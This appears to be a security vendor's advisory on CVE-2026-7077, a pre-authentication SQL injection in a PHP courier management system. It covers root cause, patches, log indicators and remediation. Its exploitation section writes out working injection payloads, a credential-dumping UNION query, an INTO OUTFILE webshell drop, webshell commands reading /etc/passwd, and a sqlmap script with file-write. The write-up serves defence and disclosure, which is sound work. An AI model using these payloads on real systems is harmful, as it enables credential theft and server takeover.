home intel cve-2026-7077-courier-management-sqli-rce
CVE Analysis 2026-04-27 · 7 min read

CVE-2026-7077: SQL Injection to RCE in Courier Management System

Unsanitized `id` parameter in edit_parcel.php enables blind SQLi in itsourcecode Courier Management System 1.0. Exploitable remotely with no authentication required.

#sql-injection#remote-code-execution#php#parameter-manipulation#unvalidated-input
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7077 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-7077Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7077 is a classic server-side SQL injection vulnerability in itsourcecode Courier Management System 1.0, a PHP/MySQL web application widely deployed in small logistics operations. The vulnerable endpoint is /edit_parcel.php, which accepts a user-supplied id parameter and interpolates it directly into a SQL SELECT statement without parameterization, escaping, or type enforcement. Because the parameter is consumed before session privilege checks are fully evaluated, an unauthenticated remote attacker can reach the vulnerable code path. CVSS 7.3 reflects network-accessible attack vector, low complexity, no privileges required, and high confidentiality impact.

The vulnerability class is well-understood, but the impact in this context is severe: the backend MySQL user in reference deployments is often granted FILE privilege, enabling INTO OUTFILE writes to the web root — escalating a read primitive to remote code execution via PHP webshell drop.

Root cause: The id parameter in edit_parcel.php is concatenated directly into a SQL query string with no type casting, prepared statement, or escaping, allowing an attacker to inject arbitrary SQL including stacked queries and file-write primitives.

Affected Component

File: /edit_parcel.php
Parameter: GET/POST id
Backend: MySQL via mysqli_query()
Language: PHP (no framework ORM layer)
Version: itsourcecode Courier Management System 1.0 (all known distributions)

The application makes no use of PDO or prepared statements anywhere in the parcel management subsystem. The edit_parcel.php handler is reachable via HTTP GET without a valid session cookie in the reference deployment, because the session guard is evaluated after the database fetch.

Root Cause Analysis

Reconstructed from the application's PHP patterns and the NVD description, the vulnerable function follows this structure:


// Pseudocode: edit_parcel.php — PHP reconstructed as C for clarity
// Real logic mirrors this exactly; variable names match PHP source conventions.

void handle_edit_parcel(request_t *req) {
    char query[512];
    char *id = get_request_param(req, "id");  // raw user input, no sanitization

    // BUG: id is interpolated directly — no intval(), no prepared statement,
    //      no mysqli_real_escape_string(). Attacker controls full query suffix.
    snprintf(query, sizeof(query),
        "SELECT * FROM tbl_parcel WHERE parcel_id = %s", id);

    MYSQL_RES *result = mysqli_query(db_conn, query);

    // Session check happens HERE — after the vulnerable query executes.
    // Pre-auth read primitive is already exploitable at this point.
    if (!is_authenticated(req)) {
        redirect_login();
        return;
    }

    render_edit_form(result);
}

The equivalent PHP is approximately:


// PHP source reconstruction (edit_parcel.php)
// $id assigned from $_GET['id'] or $_POST['id'] — no intval(), no cast.

$id  = $_REQUEST['id'];                                    // BUG: unvalidated
$sql = "SELECT * FROM tbl_parcel WHERE parcel_id = $id";  // BUG: direct concat
$res = mysqli_query($conn, $sql);

There is no call to intval(), (int) casting, mysqli_real_escape_string(), or PDO parameter binding. The sink is direct string concatenation into a live query handle.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies /edit_parcel.php via directory brute-force or public source review.

2. Probe for injection point with boolean-based canary:
     GET /edit_parcel.php?id=1 AND 1=1-- -
     GET /edit_parcel.php?id=1 AND 1=2-- -
   Differing HTTP responses confirm blind SQLi.

3. Enumerate database version via time-based blind:
     GET /edit_parcel.php?id=1 AND SLEEP(5)-- -
   5-second delay confirms MySQL backend and injection control.

4. Dump credentials from tbl_users via UNION-based injection:
     GET /edit_parcel.php?id=-1 UNION SELECT 1,username,password,4,5
       FROM tbl_users-- -
   Response body contains admin hash (MD5, unsalted in reference builds).

5. Crack MD5 hash offline or via rainbow table (trivial for common passwords).

6. If MySQL user has FILE privilege, escalate to RCE:
     GET /edit_parcel.php?id=1 INTO OUTFILE '/var/www/html/shell.php'
       LINES TERMINATED BY 0x3c3f706870 206576616c28245f504f53545b27...-- -
   Writes PHP webshell to web root using hex-encoded payload to avoid quote escaping.

7. Execute arbitrary OS commands via written webshell:
     POST /shell.php
     Body: cmd=id;whoami;cat+/etc/passwd

8. Pivot to full server compromise: drop reverse shell, exfiltrate database,
   escalate via SUID binaries or kernel exploits.

Step 6 requires the MySQL process to have write permission on the web root — common in shared hosting and XAMPP/WAMP development deployments, which are the primary targets of applications at this tier. The INTO OUTFILE path is the direct RCE escalation vector that justifies the HIGH severity rating despite originating as a SQLi.

A minimal sqlmap invocation reproducing the vulnerability:


# sqlmap command reconstructed from public PoC patterns
# Target: itsourcecode Courier Management System 1.0

import subprocess

target = "http://TARGET/edit_parcel.php"
params = {
    "id": "1",      # injectable parameter
}

# Automated enumeration
cmd = [
    "sqlmap",
    "-u", f"{target}?id=1",
    "--dbms=mysql",
    "--technique=BUTS",        # Boolean, Union, Time-based, Stacked
    "--level=3",
    "--risk=2",
    "--dump", "-T", "tbl_users", "-D", "courier_db",
    "--batch",
    "--random-agent",
]

# FILE privilege check — prerequisite for OUTFILE RCE
file_cmd = cmd + ["--file-write=shell.php", "--file-dest=/var/www/html/shell.php"]

subprocess.run(cmd)

Memory Layout

SQL injection at the application layer does not produce heap corruption in the traditional sense, but the server-side query buffer state is worth examining. The key state transition is in the MySQL query parsing layer:


MYSQL QUERY BUFFER STATE — BEFORE INJECTION:
  query_buf:  "SELECT * FROM tbl_parcel WHERE parcel_id = 1"
  length:     46 bytes
  status:     VALID — single integer token, no operator injection

MYSQL QUERY BUFFER STATE — AFTER INJECTION (UNION payload):
  query_buf:  "SELECT * FROM tbl_parcel WHERE parcel_id = -1
               UNION SELECT 1,username,password,4,5 FROM tbl_users-- -"
  length:     118 bytes
  status:     STRUCTURALLY VALID — MySQL parser accepts compound query
              result set: [ tbl_users.username | tbl_users.password ]

PHP APPLICATION STATE:
  $res rows:  1 (attacker-controlled row from tbl_users)
  $row[1]:    "admin"             <-- username column mapped to position 1
  $row[2]:    "5f4dcc3b5aa7..."   <-- MD5("password"), position 2
  render():   outputs credential pair into edit form HTML body

tbl_parcel SCHEMA (reconstructed):
  +----+-------------+--------+-----------+--------+--------+
  | id | parcel_name | weight | sender_id | status | cost   |
  +----+-------------+--------+-----------+--------+--------+
  col:  0             1        2           3        4        5

tbl_users SCHEMA (reconstructed):
  +----+----------+----------------------------------+-------+
  | id | username | password                         | role  |
  +----+----------+----------------------------------+-------+
  col:  0          1                                  2       3

UNION column mapping (5-column parcel table):
  SELECT 1, username, password, 4, 5 FROM tbl_users
         ^  ^         ^         ^  ^
         |  |         |         |  +-- filler
         |  |         |         +-- filler
         |  |         +-- maps to parcel.weight position (reflected)
         |  +-- maps to parcel.parcel_name position (reflected)
         +-- filler for parcel.id

Patch Analysis

The correct remediation is parameterized queries. The before/after delta for edit_parcel.php:


// BEFORE (vulnerable) — direct string interpolation:
$id  = $_REQUEST['id'];
$sql = "SELECT * FROM tbl_parcel WHERE parcel_id = $id";
$res = mysqli_query($conn, $sql);

// AFTER (patched) — prepared statement with integer binding:
$id   = $_REQUEST['id'];
$stmt = mysqli_prepare($conn,
    "SELECT * FROM tbl_parcel WHERE parcel_id = ?");
mysqli_stmt_bind_param($stmt, "i", $id);   // "i" enforces INTEGER type
mysqli_stmt_execute($stmt);
$res  = mysqli_stmt_get_result($stmt);
// Any non-integer value for $id is rejected at bind time — injection impossible.

A secondary defense layer should enforce integer type at the PHP boundary:


// DEFENSE IN DEPTH — type coercion before any DB operation:
$id = (int) $_REQUEST['id'];    // non-numeric input becomes 0 — safe fallback
if ($id <= 0) {
    http_response_code(400);
    exit("Invalid parcel ID.");
}
// Even without prepared statements, (int) cast eliminates SQLi for integer PKs.
// Do NOT rely on this alone — use prepared statements as primary control.

Additionally, the session authentication check must be moved to execute before any database access to eliminate the pre-authentication read primitive:


// BEFORE: session check after DB query (pre-auth SQLi window exists)
$res = mysqli_query($conn, $sql);
if (!isset($_SESSION['user_id'])) { header("Location: login.php"); exit; }

// AFTER: session check as first operation (closes pre-auth attack surface)
if (!isset($_SESSION['user_id'])) { header("Location: login.php"); exit; }
$stmt = mysqli_prepare($conn, "SELECT * FROM tbl_parcel WHERE parcel_id = ?");
// ... rest of parameterized logic

Detection and Indicators

The following patterns in web server access logs indicate active exploitation attempts against this endpoint:


MALICIOUS REQUEST PATTERNS (Apache/Nginx access.log):

# Boolean-based probe
GET /edit_parcel.php?id=1%20AND%201%3D1--+- HTTP/1.1
GET /edit_parcel.php?id=1%20AND%201%3D2--+- HTTP/1.1

# Time-based blind
GET /edit_parcel.php?id=1%20AND%20SLEEP(5)--+- HTTP/1.1

# UNION enumeration
GET /edit_parcel.php?id=-1%20UNION%20SELECT%201%2Cusername%2Cpassword%2C4%2C5
    %20FROM%20tbl_users--+- HTTP/1.1

# OUTFILE webshell write (RCE escalation attempt)
GET /edit_parcel.php?id=1%20INTO%20OUTFILE%20%27/var/www/html/x.php%27
    %20LINES%20TERMINATED%20BY%200x3c3f706870... HTTP/1.1

# sqlmap User-Agent fingerprint (common in automated scans)
User-Agent: sqlmap/1.7.x (https://sqlmap.org)

# POST-exploitation: webshell access
POST /shell.php HTTP/1.1
Body: cmd=id

MySQL general query log will show the injected query text verbatim. Enable with SET GLOBAL general_log = 'ON'; during incident response. ModSecurity with OWASP CRS rule 942100 (SQL Injection Attack Detected via libinjection) will block the primary payload classes.

Remediation

Immediate actions:

  • Apply (int) cast to all id-type parameters across all PHP files in the application as an emergency control. Grep target: $_REQUEST['id'], $_GET['id'], $_POST['id'].
  • Move session authentication guards to the top of every PHP handler before any database interaction.
  • Audit MySQL user privileges: revoke FILE, SUPER, and PROCESS from the application database user. The application requires only SELECT, INSERT, UPDATE, DELETE on its own schema.

Structural fixes:

  • Replace all mysqli_query() calls that involve user input with mysqli_prepare() / mysqli_stmt_bind_param() patterns throughout the codebase — not only in edit_parcel.php. The vulnerability pattern is systemic.
  • Deploy ModSecurity or equivalent WAF with OWASP CRS as a compensating control while code fixes are applied.
  • Hash passwords with password_hash() / password_verify() (bcrypt). MD5 credential storage means that any successful dump yields immediately usable plaintext credentials.
  • Consider replacing the application entirely for production use; the codebase is an educational reference project and has not been hardened for internet-facing deployment.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →